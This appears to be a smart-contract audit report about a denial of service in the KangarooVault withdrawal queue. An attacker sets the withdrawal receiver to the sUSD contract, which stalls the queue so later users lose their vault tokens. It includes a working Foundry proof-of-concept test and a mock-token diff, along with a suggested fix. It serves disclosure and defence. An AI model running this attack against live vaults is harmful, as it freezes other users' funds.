KangarooVault QueuedWithdraw Denial of Service
A queued withdrawal can be made to revert by setting the receiver to the sUSD token contract, which the token refuses to transfer to. Because the queue processes entries in order and stops at the first failure, all later withdrawals are blocked and those users lose their vault tokens without receiving sUSD.
Submitted by Lirios
When the KangarooVault has an open position, any withdrawals that are initiated, are queued.
QueuedWithdrawals work in two steps.
- A user initialtes the Withdrawal via
initiateWithdrawal(KangarooVault.sol#L215). This burns theVaultTokenandif (positionData.positionId != 0)(KangarooVault.sol#L225) adds the request to thewithdrawalQueue. processWithdrawalQueue()can be called to process requests in thewithdrawalQueuethat have passedminWithdrawDelayto transfer the SUSD tokens to the user.
If the processing of a QueuedWithdraw entry in the withdrawalQueue reverts, the queuedWithdrawalHead (KangarooVault.sol#L331) will never increase and further processing of the queue will be impossible. This means that any users that have placed a QueuedWithdraw after the reverting entry will have lost their vaultToken without receiving their SUSD.
Proof of Concept
When calling the initiateWithdrawal() function, the user can provide an address of the receiver of funds.
When processing the withdrawal queue, the contracts does all the required checks, and then transfers the SUSD (KangarooVault.sol#L322) to the provided user.
If we look at the Synthetix sUSD token and it’s target implementation we will find that the SUSD token transfer code is:
sUSD MultiCollateralSynth:L723-L739
function _internalTransfer(
address from,
address to,
uint value
) internal returns (bool) {
/* Disallow transfers to irretrievable-addresses. */
require(to != address(0) && to != address(this) && to != address(proxy), "Cannot transfer to this address");
// Insufficient balance will be handled by the safe subtraction.
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
// Emit a standard ERC20 transfer event
emitTransfer(from, to, value);
return true;
}
This means any SUSD transfer to the SUSD proxy or implementation contract, will result in a revert.
An attacker can use this to make a initiateWithdrawal() request with user=sUSDproxy or user=sUSD_MultiCollateralSynth. Any user that request a Withdrawal via initiateWithdrawal() after this, will lose their vault tokens without receiving their SUSD.
The attacker can do this at any time, or by frontrunning a specific (large) initiateWithdrawal() request.
To test it, a check is added to the mock contract that is used for SUSD in the test scripts:
diff --git a/src/test-helpers/MockERC20Fail.sol b/src/test-helpers/MockERC20Fail.sol
index e987f04..1ce10ec 100644
--- a/src/test-helpers/MockERC20Fail.sol
+++ b/src/test-helpers/MockERC20Fail.sol
@@ -18,6 +18,9 @@ contract MockERC20Fail is MockERC20 {
}
function transfer(address receiver, uint256 amount) public override returns (bool) {
+
+ require(receiver != address(0xDfA2d3a0d32F870D87f8A0d7AA6b9CdEB7bc5AdB) , "Cannot transfer to this address");
+
if (forceFail) {
return false;
}
In the KangarooVault.t.sol test script, the following test was added to demonstrated the issue:
// add to top of file:
import {IVaultToken} from "../../src/interfaces/IVaultToken.sol";
// add to KangarooTest Contract:
function testWithdrawalDOS() public {
IVaultToken vault_token = kangaroo.VAULT_TOKEN();
// make deposit for user_2
susd.mint(user_2, 2e23);
vm.startPrank(user_2);
susd.approve(address(kangaroo), 2e23);
kangaroo.initiateDeposit(user_2, 2e23);
assertEq(vault_token.balanceOf(user_2),2e23);
vm.stopPrank();
// have vault open a position to force queued wthdrawals
testOpen();
// vault has position opened, withdrawal will be queued, vault_token burned, no USDC received
vm.startPrank(user_2);
kangaroo.initiateWithdrawal(user_2, 1e23);
assertEq(susd.balanceOf(user_2),0);
assertEq(vault_token.balanceOf(user_2),1e23);
// process withdrawalqueue, withdrawam should pass
skip(kangaroo.minWithdrawDelay());
kangaroo.processWithdrawalQueue(3);
uint256 user_2_balance = susd.balanceOf(user_2);
assertGt(user_2_balance,0);
vm.stopPrank();
// user 3 frontruns with fake/reverting withdrawal request.
// to 0xDfA2d3a0d32F870D87f8A0d7AA6b9CdEB7bc5AdB (= SUSD MultiCollateralSynth contract address).
// This will cause SUSD transfer to revert.
vm.startPrank(user_3);
kangaroo.initiateWithdrawal(0xDfA2d3a0d32F870D87f8A0d7AA6b9CdEB7bc5AdB, 0);
vm.stopPrank();
// user_2 adds another withdrawal request, after the attackers request, vault_token burned, no USDC received
vm.startPrank(user_2);
kangaroo.initiateWithdrawal(user_2, 1e23);
assertEq(vault_token.balanceOf(user_2),0);
// processWithdrawalQueue now reverts and no funds received
skip(kangaroo.minWithdrawDelay());
vm.expectRevert(bytes("TRANSFER_FAILED"));
kangaroo.processWithdrawalQueue(3);
assertEq(susd.balanceOf(user_2),user_2_balance);
assertEq(vault_token.balanceOf(user_2),0);
vm.stopPrank();
}
Tools Used
Manual review, forge
Recommended Mitigation Steps
The processing of withdrawalQueue should have a mechanism to handle reverting QueuedWithdraw entries. Either by skipping them and/or moving them to another failedWithdrawals queue.
Similar but different from https://github.com/code-423n4/2023-03-polynomial-findings/issues/103
Somehow the import should be
import {IVaultToken} from "../src/interfaces/IVaultToken.sol";(one step less), but the POC runs correctly after that.
mubaris (Polynomial) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The withdrawal queue processes entries in strict order and does not skip or isolate entries whose token transfer reverts, so one bad entry blocks all later ones.
Impact
Any user who queues a withdrawal after the reverting entry loses their vault tokens without receiving sUSD, and the queue cannot be processed further.
What the attacker needed
Vault has an open position; attacker can initiate a withdrawal; victim queues a withdrawal after the attacker
The fix
The queue processing should skip reverting entries or move them to a separate failed-withdrawals queue.
How it was found
- Deposit into the vault and open a position so withdrawals are queued.
- Initiate a withdrawal to a normal address and process the queue successfully.
- As an attacker, initiate a withdrawal with the receiver set to the sUSD contract address.
- Another user initiates a withdrawal after the attacker's entry.
- After the delay, process the queue; it reverts and the later user's tokens are burned without payment.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vault lets people queue withdrawals while it holds an open position. The queue is processed from the front, and if one entry fails the whole queue stops. The sUSD token refuses transfers to its own contract address, so an attacker can queue a withdrawal to that address, making the queue stuck and later users unable to get their money back.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.